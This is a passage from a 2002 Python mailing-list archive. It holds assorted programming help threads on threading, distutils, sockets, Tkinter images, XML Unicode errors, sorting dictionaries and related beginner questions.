password input. i had to patch open-ssh to accept > > > passwords on the command-line (ssh password:user at host). > > > > That's bad, pretty bad. Now anyone with access to /bin/ps can view > > all passwords :( yep! so the solution is: don't _let_ people use the DPythOS box for anything other than running DPythOS. which isn't entirely a good thing :) the other is to overwrite the args so they can't show up. > Oops, followup to myself. Forgot to mention a solution - properly > distribute public keys. yes. however, that was a little beyond my time limits to create all the case scenarios of key management and distribution. it's not beyond dpythos, however. i just decided to make ssh usage a little more like telnet usage, from the viewpoint of the DPythosTelnet class, and left it at that. l. From aahz at pythoncraft.com Tue May 28 21:20:58 2002 From: aahz at pythoncraft.com (Aahz) Date: 28 May 2002 21:20:58 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> Message-ID: In article , =?iso-8859-1?q?Fran=E7ois?= Pinard wrote: >[Aahz] >> >> My response is that instead of trying to take advantage of the few >> atomic Python constructs, instead code defensively and always use >> thread-safe mechanisms for passing information. Because Python has a >> powerful and simple Queue, this is straightforward to accomplish. > >But abusing Queues for very simple things, a bit everywhere, might yield >code bloat, and impinge readability. This is a bit like if someone was >inviting everyone to abuse fixed point integer arithmetic all over as a >way to program defensively against floating point arithmetic. You're both misreading me and overstating your point, IMO. I completely agree that RLock() is a valuable and necessary tool for managing critical sections of code. However, I stand by my claim that Queue() should be the primary mechanism for passing data around. Getting the semantics of Event() and Semaphore() correct (not even talking about Condition() -- ) can be extremely difficult for all but the simplest cases, leading to application deadlock. Queue is both powerful and simple, and I therefore invoke Python's "There's Only One Way" principle. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From quinn at regurgitate.ugcs.caltech.edu Tue May 28 14:59:10 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 28 May 2002 18:59:10 GMT Subject: more distutils problems (was: dumb distutils question) References: Message-ID: On Fri, 24 May 2002 12:01:21 +0400, Oleg Broytmann wrote: >On Thu, May 23, 2002 at 06:11:16PM +0000, Quinn Dunkan wrote: >> I can do 'CFLAGS=-I/opt/sfw/include LDFLAGS=-L/opt/sfw/lib ./configure', but > > Python is non-standard in this area - it uses OPT instead of CFLAGS. But >I recommend to set both flags. That's useful information, but distutils doesn't seem to pick it up, so it still never looks in /whatever/{lib,include}. Python's setup.py has a hardcoded bit to always put /usr/local/lib into the search path, but that doesn't seem like the right place, since it only works for python. I guess I have to figure out some way to get something into the default Extension.extra_link_args. Maybe I could modify command/build_ext.py to pull in LDFLAGS like it pulls in CFLAGS, but they should also be settable from the command line so configure could relay that kind of info. It doesn't look like configure has a standard flag to add to the library search path though. I have another problem with distutils: on SunOS, they link shared libs with -shared, which sun ld doesn't support, and results in countless pages of errors. The proper flag for sun ld is -G, but -shared seems to be hard-coded in UnixCCompiler.executables['linker_so']. I guess it should have a linker_shared_flag or something which I could override or mutate. Or just mutate the variable directly. Is there a better way to get distutils to use the right flag? I note that the old build process gets the flag right. From peter at engcorp.com Thu May 23 00:44:14 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 May 2002 00:44:14 -0400 Subject: Is python really slow? References: <83adqsis0w.fsf@panacea.canonical.org> <3CEB8A1B.B77E889D@engcorp.com> Message-ID: <3CEC739E.50551127@engcorp.com> Lulu of the Lotus-Eaters wrote: > > |Kragen Sitaker wrote: > |> 1. Python is really slow, because it's highly dynamic and because it's > |> interpreted. This is true of Perl, too. Primitive operations in both > |> languages are roughly 100 to 1000 times slower than in languages > |> compiled to machine code. > > Peter Hansen wrote previously: > |From no doubt a very different background, my experience has shown the > |number to be more in the range of 10 to 100 times slower, averaging > |about 30 times. In fact, the 100 times was usually with non-Pythonic > |code, written with fairly heavy for-loops and lots of strings being > |concatenated inefficiently. > > I think Kragen and Peter are probably both right in their estimates, > because they are talking about slightly different things. If you just > compare a raw loop, for example, C is easily 1000 times faster, e.g. You're right. I didn't catch the "primitive operations" part of Kragen's post... no doubt Python is up to 1000 times slower doing little baby steps like that. -Peter From martin at v.loewis.de Tue May 21 18:48:39 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 22 May 2002 00:48:39 +0200 Subject: Python (2.2) on Solaris 8 (64-bit) References: <79d1869.0205200713.324bee25@posting.google.com> <79d1869.0205211226.7593e1@posting.google.com> Message-ID: dryose at juno.com (yose) writes: > Can you pls give me specific instructions on how to do this? Edit Modules/Setup, replacing the line #_socket socketmodule.c with _socket socketmodule.c It may be that this fails to link - in that case, you need to write _socket socketmodule.c -lsocket -lnsl Regards, Martin From s.thuriez at laposte.net Fri May 17 13:11:19 2002 From: s.thuriez at laposte.net (sebastien) Date: 17 May 2002 10:11:19 -0700 Subject: no buffer space available error References: <83lmangql2.fsf@panacea.canonical.org> <3CE2F40E.DFB2C61B@engcorp.com> Message-ID: Thanks Peter, That's probably true since when the program stop there is a long list of socket. Is there a way in python to have the same information as in netstat. I could call netstat but it is a little bit slow. The shutdown method : s.shutdown(2) for example does not work with my socket. Is it ok to use it with non blocking socket ? Regards. Sebastien. Peter Hansen wrote in message news:<3CE2F40E.DFB2C61B at engcorp.com>... > sebastien wrote: > > > > I have simplified the program so that you can count the number of > > socket open at a time. > > > > 1) I have checked that all the sockets open are closed (see the code) > > There's no guarantee that close() for a socket will actually > release all the resources. If you open a bunch of client sockets > and then close them, I believe you'll see with 'netstat' that > they are in some kind of CLOSE_WAIT state, which might persist > for a while. This may or may not reduce the number of sockets > that the OS makes available. > > Another thing you might investigate is Socket.shutdown() ... > > Also, it's recommended usually that you use the 'threading' > module instead of 'thread'... > > -Peter From gkrohn_NG_ at volucris.8m.com Fri May 17 19:34:18 2002 From: gkrohn_NG_ at volucris.8m.com (Greg Krohn) Date: Fri, 17 May 2002 18:34:18 -0500 Subject: Pwm.NoteBook - 'Color' module missing Message-ID: When running this code: import Pmw root = Pmw.initialise() notebook = Pmw.NoteBook() root.mainloop() I get the following traceback: Traceback (most recent call last): File "test.py", line 3, in ? notebook = Pmw.NoteBook() File "C:\Python22\Pmw\Pmw_0_8_5\lib\PmwNoteBook.py", line 60, in __init__ self._lightBorderColor, self._darkBorderColor = \ AttributeError: 'module' object has no attribute 'Color' (BTW, line 60 is continued on the next line with "Pmw.Color.bordercolors(self, self['hull_background'])") I'm using Pmw 0.8.5 with ActivePython 2.2.0 on Win2000. There is a 'PmwColor.py' in 'Pmw\lib', which I'm assuming is where the module is supposed to come from. Anyone know how to load 'Color'? And\Or why it doesn't load in the first place? /usr/is/confused greg From olczyk at interaccess.com Wed May 22 17:30:41 2002 From: olczyk at interaccess.com (Thaddeus L. Olczyk) Date: Wed, 22 May 2002 21:30:41 GMT Subject: Popen confusion. Message-ID: <3cec0da5.14728828@nntp.interaccess.com> I need to spawn a process in such a way that I have access to three pipes ( the usual suspects ) and am able to retrieve the return status. The python documentation is very confusing about this. Can anyone help? From zweistein at net.hr Sat May 11 14:42:28 2002 From: zweistein at net.hr (zweistein) Date: Sat, 11 May 2002 20:42:28 +0200 Subject: searching files References: Message-ID: "Chris Liechti" wrote in message news:Xns920BCFECED397cliechtigmxnet at 62.2.16.82... > so you can search: > for name,number in addressList: > if name == 'chris': > print name, number > break #found one, don't search for more > else: > print "no matching entries found" > > as you see there is no errorchecking in the above bits, for a real usabel > programm one should check for illegal entries etc. Thank you, I'll try this! From webmaster at apologetyka.com.pl Sat May 4 03:34:55 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Sat, 04 May 2002 09:34:55 +0200 Subject: XML: minidom toxml() does not work for non English files! :-( Message-ID: I have a small code: from xml.dom import minidom xmldoc = minidom.parse('myfile.xml') print xmldoc.toxml() It works for 7-bit text fine. But the problem is it works ONLY for pure ASCII text. :-( If I try to use any of non English characters, Python raise an exception: UnicodeError: ASCII encoding error: ordinal not in range(128) It does NOT work even on utf-8 xml files with any character outside 7-bit ASCII character set. It is strange, because utf-8 should be correctly parsed by all xml tools. Is it mean toxml() or toprettyxml() methods of minidom are useless for non English strings? I need them to cut one big xml file into smaller pieces and write them into several files. -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://www.pik-net.pl/~zbiru From google at blinker.net Wed May 22 19:54:25 2002 From: google at blinker.net (Bjoern) Date: 22 May 2002 16:54:25 -0700 Subject: file and filename in cgi module? (newbie problem with Documentation) Message-ID: Hello, I am confused about the documentation of python. For example, in the documentation of the cgi module it says "If a field represents an uploaded file, accessing the value via the value attribute or the getvalue() method reads the entire file in memory as a string. This may not be what you want. You can test for an uploaded file by testing either the filename attribute or the file attribute. You can then read the data at leisure from the file attribute: fileitem = form["userfile"] if fileitem.file: ..." I wonder where does this .file thingy come from? I can't find anything about it in the documentation that comes with Python, and the same goes for filename. Is it specific to the cgi module? Are they attributes that all return values of FieldStorage-Entries have? But then why isn't there a descritpion of the FieldStorage class? By chance I found that .filename will give me the name of an uploaded file - where would have been the official place to read about it? I just want to make sure I get the whole grasp of Python, not missing any nifty features... I must admit that this documentation problem is putting me off a bit already (why did I dismiss Perl to begin with?). But I really want to like Python, so I hope it's just my mistake...;-) Many thanks in advance for any pointers. Bjoern From s997659 at ee.cuhk.edu.hk Mon May 27 03:04:32 2002 From: s997659 at ee.cuhk.edu.hk (Geiger Ho) Date: Mon, 27 May 2002 15:04:32 +0800 Subject: Tkinter image problems In-Reply-To: References: Message-ID: The PhotoImage class imported from Tkinter.py just supports GIF and PPM/PGM formats. You need to go to go to http://www.pythonware.com/products/pil/ to get the Python Imaging Library to support the other formats. On 26 May 2002, Chris wrote: > Hi, I posted a few days ago about problems getting images to work in Tkinter > > The Tkinter test routine runs fine, but when I try to load in images it > won't work > > Here's how i'm loading a TIFF: > from Tkinter import * > > class GF_control: > def __init__(self): > # Initialize TK > self.root = Tk() > self.root.config(height=300, width=400) > > # Load image > p = PhotoImage() > p.config(file='bla.tif') > > # Make label > splash = Label(self.root) > splash.pack() > > self.root.mainloop() > > if 1: > f = GF_control() > > And here's the error I get: > Traceback (most recent call last): > File "", line 18, in ? > File "", line 11, in __init__ > File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure > self.tk.call((self.name, 'config') + res) > TclError: couldn't recognize data in image file "bla.tif" > > Here's the error for the same, using a PNG instead: > > Traceback (most recent call last): > File "", line 18, in ? > File "", line 11, in __init__ > File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure > self.tk.call((self.name, 'config') + res) > TclError: couldn't recognize data in image file "bla.png" > > And the error for a JPG: > > Traceback (most recent call last): > File "", line 18, in ? > File "", line 11, in __init__ > File "/usr/lib/python2.1/lib-tk/Tkinter.py", line 2951, in configure > self.tk.call((self.name, 'config') + res) > TclError: couldn't recognize data in image file "bla.jpg" > > All of the images load fine in GIMP > > From a-steinhoff at web.de Sun May 5 12:54:24 2002 From: a-steinhoff at web.de (Armin Steinhoff) Date: 5 May 2002 09:54:24 -0700 Subject: Newbie: finding the key/index of the min/max element References: Message-ID: Tim Peters wrote in message news:... > [David Eppstein] > > ... > Have someone tried to speed it up wit Pyrex ?? Armin > > # Find the rank'th-smallest value in a, in worst-case quadratic time. > def short_find(a, rank): > a.sort() > return a[rank - 1] > > # Find the rank'th-smallest value in a, in worst-case linear time. > def find(a, rank): > n = len(a) > assert 1 <= rank <= n > if n <= 7: > return short_find(a, rank) > > # Find median of median-of-7's. > medians = [short_find(a[i : i+7], 4) for i in xrange(0, n-6, 7)] > median = find(medians, (len(medians) + 1) // 2) > > # Partition around the median. > # a[:i] <= median > # a[j+1:] >= median > i, j = 0, n-1 > while i <= j: > while a[i] < median: > i += 1 > while a[j] > median: > j -= 1 > if i <= j: > a[i], a[j] = a[j], a[i] > i += 1 > j -= 1 > > if rank <= i: > return find(a[:i], rank) > else: > return find(a[i:], rank - i) > > def tryone(n, tries): > from random import random > from time import clock as now > > x = [None] * n > median_rank = (n+1) // 2 > sum1 = sum2 = 0.0 > for i in range(tries): > for i in xrange(n): > x[i] = random() > y = x[:] > > start = now() > got1 = find(x, median_rank) > elapsed = now() - start > sum1 += elapsed > > start = now() > got2 = short_find(y, median_rank) > elapsed = now() - start > sum2 += elapsed > > if got1 != got2: > print "OUCH got1 %r got2 %r" % (got1, got2) > > return sum1, sum2 > > def drive(tries): > for i in range(23): > n = 2**i + 1 > fast, slow = tryone(n, tries) > print "%8d %7.3f %7.3f" % (n, fast/tries, slow/tries) > > if __name__ == "__main__": > drive(3) > > > PS: If you're more interested in expected time than worst-case time, > replacing the median-of-median-of-7s business with > > median = short_find([a[0], a[-1], a[n//2]], 2) > > yields a Python median-finder that's usually significantly faster than the > sort method starting in the range of 512K to 1M elements. > > PPS: If you do care about worst-case time, the Python version can be made > significantly faster by boosting the median-of-7 gimmick to median-of-k for > larger odd values of k. Fun for the whole family: plot speedups against k > until you're all baffled . From shalehperry at attbi.com Sat May 25 12:55:29 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 25 May 2002 09:55:29 -0700 (PDT) Subject: Off Topic, But List Related -- Tired of Getting Spammed Via In-Reply-To: Message-ID: On 25-May-2002 Fran?ois Pinard wrote: > [Peter F. Ferris] > >> I would like to think no one in the group is a spammer (I may be naive at >> times!). > > It might be unrelated, or not. I care for a few lists opened to subscribers > only, and recently, I saw unwanted email circulating on them. In the > few cases I looked into a bit more closely, originators were all running > Microsoft emailing agents, and had their systems infected. So I guess > subscribers had these messages sent against their will -- I mean, once we > accept to disregard the will they have for running questionable software :-). > unfortunately many businesses force their employees to run M$ mail products and then do not offer sufficient IS services to help them deal with the problems that causes. From logiplexsoftware at earthlink.net Thu May 9 14:24:28 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Thu, 9 May 2002 11:24:28 -0700 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <3CDAB85B.C49BABD9@fnal.gov> References: <3CDAA5A5.D4077E5C@fnal.gov> <3CDAB85B.C49BABD9@fnal.gov> Message-ID: <20020509112428.13203a68.logiplexsoftware@earthlink.net> On Thu, 09 May 2002 12:56:43 -0500 David J. Ritchie wrote: > > > > Actually, I have a different point: why are you moving blocks of code? > > It's a matter of writing in which I move from a rough draft to a final document > (whether code or natural language). I've encountered this myself (redundant code that could be made into a function, or code that has a more general purpose and should be made into a library), so moving blocks of code is not uncommon for me. Also, the occasional "borrowing" of code from an outside source makes indentation a consideration. XEmacs' shift-region-left/right (C-c <, C-c >) and untabify work well for this sort of thing (in python-mode). -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From huaiyu at gauss.almadan.ibm.com Thu May 30 19:45:23 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Thu, 30 May 2002 23:45:23 +0000 (UTC) Subject: What does Python offer? References: Message-ID: Solosnake wrote: > >> http://www.python.org/doc/Newbies.html >I've looked at these, but they are mostly 'Hello World' for python newbies. > >> http://www.python.org/doc/current/tut/tut.html >Again, a tutorial on the language, as opposed to details about the >language's features. For something in between, check out the Instant Python page. It is especially good for existing programmers who are inpatient. I learned the basics of Python in one afternoon - good enough to use functions, lists, dictionaries, classes, modules and the exception mechanism. You can get a pretty good feel about the language faster than reading some reviews. Huaiyu From peter at engcorp.com Wed May 22 08:00:36 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 22 May 2002 08:00:36 -0400 Subject: rfc822 module: deleting headers References: Message-ID: <3CEB8864.D477B475@engcorp.com> Tim Roberts wrote: > > I don't know about .qmail, but sendmail's .forward cannot be used to filter > e-mail. You can read the message, send it somewhere else, store it to > file, or do other things, but you can't alter the message on its way to > your local mailbox. Indeed, in your example, you didn't DO anything with > your altered message. You read it from stdin and modified it in memory, > but you didn't write it anywhere. > > You might want to investigate procmail. It is designed for this kind of > application. If .qmail is supposed to support the same kind of > functionality, then you need to figure out where you are supposed to WRITE > the modified message. Since Jason develops TMDA, and since TMDA (which I just installed under qmail) successfully intercepts email messages and either holds them for later deliver, or bounces them, or deletes them, I'm pretty sure that (a) qmail actually allows such things, and (b) Jason knows most of how to do it. :-) I was going to reply to him (before I recognized his name) to say he might look at the TMDA source for inspiration, but obviously that would be the least useful help I could give. :-) (Jason, I've had TMDA installed for about ten hours, and already my spam level has dropped to zero. Thank you!) -Peter From iwaters at btclick.com Fri May 10 13:08:41 2002 From: iwaters at btclick.com (ian) Date: Fri, 10 May 2002 18:08:41 +0100 Subject: lists + string References: Message-ID: cheers for the quick response what im doing is reading a line from a file then appending it to my wordlist list. how would i do it knowing this??? word = str(raw_input("Enter word to remove: ")) wordlist = [] spamfile = file('spam.txt','r',1024) while 1: line = spamfile.readline(1024) if line == '':break wordlist.append(line) spamfile.close() #write back file #spamfile = file('spam.txt','w+',1024) print "word list" for x in wordlist: print x if x == word:print 'found' #spamfile.write(x) #spamfile.close() "ian" wrote in message news:UORC8.49610$7R.60091 at NewsReader... > hi started to learn python this week > and my lecturer threw us in the deep end > and asked us to write a mail server.. oh well > > anyway in the program i read in some input from the user > > input = str(raw_input ......... > > how do i compare it to an element in a list?? > > ive tried > > for x in list > if input == x:print 'found item' > > but it dont work any help would be great thanx > > From lac at strakt.com Wed May 15 20:52:38 2002 From: lac at strakt.com (Laura Creighton) Date: Thu, 16 May 2002 02:52:38 +0200 Subject: OT: Crazy Programming In-Reply-To: Message from Greg Ewing of "Thu, 16 May 2002 12:14:11 +1200." <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> Message-ID: <200205160052.g4G0qcrW021273@theraft.strakt.com> > Christopher Encapera wrote: > > > > While Willie Nelson's 'blue eyes cryin in the rain' might not be Mozart, it > > is vastly superior (in every respect) to say, the rapper of the week (or > > that "modern art" that sits in front of county hall). And that ain't no > > personal opinion - that is objective truth - > > If it's objective, how do you measure it? Given > two alleged works of art, what procedure does one > use to determine which is better? The ability to rank something and whether it is objective or not are independent concepts. I spent a good part of yesterday at a Champaigne testing. The highlight of the event was a tasting hosted by Rikard Juhlin, perhaps the world's foremost expert on Champaigne. 12 champaignes, all very good/excellent from 1995 or 1996. I could find the 3 best, and the 2 worst with no trouble, and there was broad consensus in the room about this. There was disagreement as to the precise ranking, however. The top 3 Champaignes were ranked 94, 94, and 95+ out of 100, by Juhlin, but I preferred a 94. I went home thinking 'how splendid I have to work on my discernment more. A pity we cannot live forever. So much awareness to develop, and so little time to do it in. Rikard Juhlin can discern qualities which I cannot.' All Champaigne tasting is subjective. It is a subjective experience. But some Champaignes are objectively better than others. And if all you want to do is make Kir Royale (adding black current syrup to your champaigne) pretty much anything with bubbles will do. Laura Creighton From stojek at part-gmbh.de Fri May 24 09:06:15 2002 From: stojek at part-gmbh.de (Marcus Stojek) Date: Fri, 24 May 2002 13:06:15 GMT Subject: module for licence managing Message-ID: <3cee38fa.19585234@news.easynews.net> Hi, after I really finished my application (with a lot of help from this group. Thanks again) we are thinking about selling it. Now I am looking for some kind of licence manager. Is there anything available as a python module? I have copied some code snippets and can generate a licence file from the MAC-address (Windows) and check it, but I don't think this very sophisticated of reliable. Any docs or links I can follow to learn more? Thanks marcus From shagshag13 at yahoo.fr Mon May 13 10:45:58 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 13 May 2002 07:45:58 -0700 Subject: list, object and matching... References: <409a56e2.0205092345.82b891f@posting.google.com> Message-ID: <409a56e2.0205130645.452038a0@posting.google.com> Alex Martelli wrote in message news:... Thanks !!! From tdelaney at avaya.com Wed May 1 19:57:52 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 2 May 2002 09:57:52 +1000 Subject: Importing dynamically loaded modules (in packages)? Message-ID: > From: Steve Holden [mailto:sholden at holdenweb.com] > > > That motherhood and apple pie are good? Who could possibly disagree? I hate apple pie. Disgusting stuff. Tim Delaney From jb at cascade-sys.com Fri May 10 02:03:15 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 09 May 2002 23:03:15 -0700 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> Message-ID: <3CDB62A3.D4CD6DC@cascade-sys.com> Andrew Dalke wrote: [many examples of increasingly well hidden side-effects] Granted. There are a lot of ways to break the optimization, some fairly insidious. > Unless the compiler could look (somehow!) into the definition of each > __nonzero__, or disable optimizations if _getframe(), sys.exc_info(), etc. > are used *anywhere* in the Python code, then there's no way it can build > that optimization. True. And this is exactly what the best optimizers do. Look at all the relevant code. The way most optimizers work is they detect patterns known to be safe and also sufficiently common to be worth dealing with. Anything that does not fit the pattern 100% does not get optimized. In practice, the function in question often is defined in the same source module as where it is used. In most examples of list comprehensions, everything is spelled out within the comprehension itself, as simple expressions of primitive objects. The other possibility someone else raised was that we could allow the programmer to declare what functions may be safely optimized, though it would admit the risk of very strange errors when the programmer is mistaken. Recognizing just a few of the most common cases might make a significant difference. I understand Perl does this for certain common top-level loop constructs, in order to realize significant gains for those cases. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From martin at v.loewis.de Thu May 9 04:22:11 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 10:22:11 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > Martin> So in the end, the only acceptable strategy would be to > Martin> allow identifiers that contain letters (or letterlike > Martin> symbols) in arbitrary languages. For Python, that would > Martin> mean that attributes must be Unicode objects, which could > Martin> cause code breakage. > > This would actually be rather simple if you just declare that Python > programs as submitted to the (internal) parser must be in UTF-8, and > ensure that PEP 263 codecs do this in a way transparent to the user. Indeed, parsing it would not be an issue (although it *would* be an issue to define the set of acceptable identifier characters). > I see no reason why this would cause code breakage, although I > haven't tried it yet. It would break introspective tools who suddenly find Unicode objects in attribute dictionaries. Regards, Martin From david at boddie.net Mon May 13 10:32:19 2002 From: david at boddie.net (David Boddie) Date: 13 May 2002 07:32:19 -0700 Subject: Which GUI Library to Use References: Message-ID: <18289ee4.0205130632.78dc4dbc@posting.google.com> holger krekel wrote in message news:... > Ron Stephens wrote: > > Personnally, right at this moment, my desire is to somehow create good > > GUI versions of some Python scripts of mine, specifically for > > deployemnt on the new Linux based Sharp Zaurus. > > you might want to take a look at > > http://david.boddie.org.uk/Projects/Python/CMDSyntax > > which has very clean,powerful cmdline-synxtax parsing > and pops up a GUI for missing parameters. It's very > well documented. Thanks for the mention! I've updated the page a little and I'll try to produce more documented examples in the future. The library is most suitable for scripts which only need user input when they start, and which work without (much) user intervention afterwards. David From BPettersen at NAREX.com Tue May 7 16:37:31 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 7 May 2002 14:37:31 -0600 Subject: pricision of string.atof? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E34@admin56.narex.com> > From: Elvis Chen [mailto:chene at cs.queensu.ca] > > Greetings, > > I'm working on some numerical analysis that requires rather > good precision on calculation. In my project, I need to read > some numbers from a file and subsequently process it to give > other results. However, I found that string.atof doesn't > always convert the read string to equivalent number. > > For example, if I have > > s = 'A 0.424\n' > splitline = string.split( s ) > A = string.atof( splitline[1] ) > > then, > > >>> A > 0.42399999999999999 > >>> print A > 0.424 This has to do with your floating point hardware and how numbers are represented to you in the interpreter (just typing A will call A's __repr__, typing "print A" will call A's __str__ method). For all the gory details see: http://www.python.org/doc/current/tut/node14.html -- bjorn From pinard at iro.umontreal.ca Sat May 4 12:56:04 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 04 May 2002 12:56:04 -0400 Subject: Slight irritation with try/finally indentation In-Reply-To: <28UA8.4260$zW3.106993@news1.tin.it> References: <87bsc7b233.fsf@tleepslib.sk.tsukuba.ac.jp> <28UA8.4260$zW3.106993@news1.tin.it> Message-ID: [Alex Martelli] > Fran?ois Pinard wrote: > > [Stephen J. Turnbull] > ... > >> try: > >> setup() > >> process() > >> except SetupError: > >> pass > >> else: > >> cleanup() > > > > Clever, and nice. Thanks for this idea, I'll ponder it. > But this only calls cleanup if process does NOT raise. NOT the same > semantics as a try/finally *at all*! > What am I missing...? Oops, indeed! I guess I unconsciously read 'finally:' for `else:' without realising that 'try:' flavours do not mix that way. Or, maybe, my brain started evaporating under the combined effect of spring with the nice sun, outside! Or simply, happiness blinded me! :-) I misread it, sorry. -------------- next part -------------- -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From pyth at devel.trillke.net Thu May 9 13:58:22 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 9 May 2002 19:58:22 +0200 Subject: Python stagnating? In-Reply-To: References: Message-ID: <20020509175822.GC27672@devel.trillke> Chris wrote: > What is the status of Python development? Or the supporting > organization? I notice a lot of links in the FAQ and other documents > are outdated/broken, and surfing the web I saw a lot of references to > the "Python Starship" but it looks like it hasn't been updated in a > few years... funny, i have the feeling that an _awful_ lot of things are happening at the same time. Doesn't feel the least as stagnation :-) But then, from python.org/starship i only use python.org for downloads and developer's documentation and these are really nice and quite up-to-date. So i am not qualified to further comment on your specific issues. It does help to at least every now and then read/post comp.lang.python or python-list at python.org (where you posted this messages) because after several weeks you start to get a 10% overview of what is currently happening. You only have to grok 100-200 postings per day :-) regards, holger From jdhunter at nitace.bsd.uchicago.edu Mon May 20 18:05:34 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Mon, 20 May 2002 17:05:34 -0500 Subject: Sort dictionary data References: Message-ID: >>>>> "Marcus" == Marcus Laranjeira writes: Marcus> All, I have a dictionary that I need to be sorted. the Marcus> current structure is : Marcus> dic { 'aaa', 1, 'bbb', 1, 'ccc', 3, 'ddd', 2, 'eee', 1} Marcus> and I need this to be sorted and the final dictionary Marcus> should be: Marcus> dic { 'aaa', 1, 'bbb', 1, 'eee', 1, 'ddd', 2, 'ccc', 3} The comments of the previous responders are correct in that 1) you can't have a sorted dictionary and 2) your dictionary is not constructed right but I think I know what you want anyway. You can convert a dictionary to a list of (key, val) tuples and then sort that list. items = dic.items() # returns the list of key, val tuples items.sort() # sort the list in place The default sort of lists of tuples is on the first element of the tuple. In your case, you want to sort on the value, which is the 2nd element of the tuple. So you need to write a custom sort function. def compare_on_val( first, second): return cmp(first[1], second[1]) dic = { 'aaa': 1, 'bbb': 1, 'ccc': 3, 'ddd': 2, 'eee': 1} print 'Using default sort' items1 = dic.items() items1.sort() for (key, val) in items1: print key, val print 'Using custom sort' items2 = dic.items() items2.sort(compare_on_val) for (key, val) in items2: print key, val The output is: Using default sort aaa 1 bbb 1 ccc 3 ddd 2 eee 1 Using custom sort bbb 1 aaa 1 eee 1 ddd 2 ccc 3 Now this doesn't do exactly what I think you want, because it only sorts on the value and ignores they key. If you want to sort by value, and within entries that have the same value, sort by key, you'll need: def compare_on_val_then_key( first, second): c1 = cmp(first[1], second[1]) if c1!=0: return c1 return cmp(first[0], second[0]) which gives you Using custom sort aaa 1 bbb 1 eee 1 ddd 2 ccc 3 John Hunter From warlock at eskimo.com Mon May 6 14:40:50 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 6 May 2002 11:40:50 -0700 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 6 May 2002 05:05:38 GMT, William Park wrote: > Jim Richardson wrote: >> sorry, I wasn't very clear, in the above example, the result I am >> looking for is >> >>>>>a=(1,2) >>>>>b=(2,3) >>>>>a+b >> (3,5) > > Well, you can learn about Python's OO nature by writing class to handle > this: > > class vector: > def __init__(self, x=[]): # vector([...]) > self.array = x[:] > self.n = len(x) > > def __repr__(self): > return `self.array` > > def __add__(self, other): > for a, b in map(None, self.array, other.array): > out.append(a + b) > return vector(out) > >>>> a = vector([1,2]) >>>> b = vector([2,3]) >>>> a+b > [3, 5] > Thanks. Actually, I am a little intimidated by the whole OO and class thing. I still don't "grok" the whole OO thing. I don't understand what the (self,...) part of the init is. I *think* I know what __init__ is for, to set up the things you need to use the functions (methods?) within the class, but what's with self all over the place? -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81s4yd90bcYOAWPYRAkBWAJ41AnR4O7V84xaT+J6U0p1TyNtowACeOeMo Zs0TJHmg894Qa353mtLwSbw= =un2O -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From kragen at pobox.com Tue May 21 11:04:00 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 21 May 2002 11:04:00 -0400 Subject: asyncore sockets and proxy References: <83elg6pfk4.fsf@panacea.canonical.org> Message-ID: <83n0utk0f3.fsf@panacea.canonical.org> Rune Hansen writes: > To be quite honest, I do not know what kind of proxy my potentional users > might have. Some users will be behind a firewall/proxy where all traffic > must go through the proxy. Well, if it's transparent, the users (and your code) may not have to do anything. There are other kinds of proxies where users do have to set things up specially --- for example, reconfiguring their web browsers. I'd say, try the simple thing first, and find out if that doesn't work. From huaiyu at gauss.almadan.ibm.com Wed May 1 13:55:07 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Wed, 1 May 2002 17:55:07 +0000 (UTC) Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: >> > Benjamin Han wrote: >> > > In my quest of becoming a "Pythonistas" (where does this word come from BTW >> > ?), >> > [James J. Besemer] >> > The term derrives from the Sandinistas in Nicaragua, the 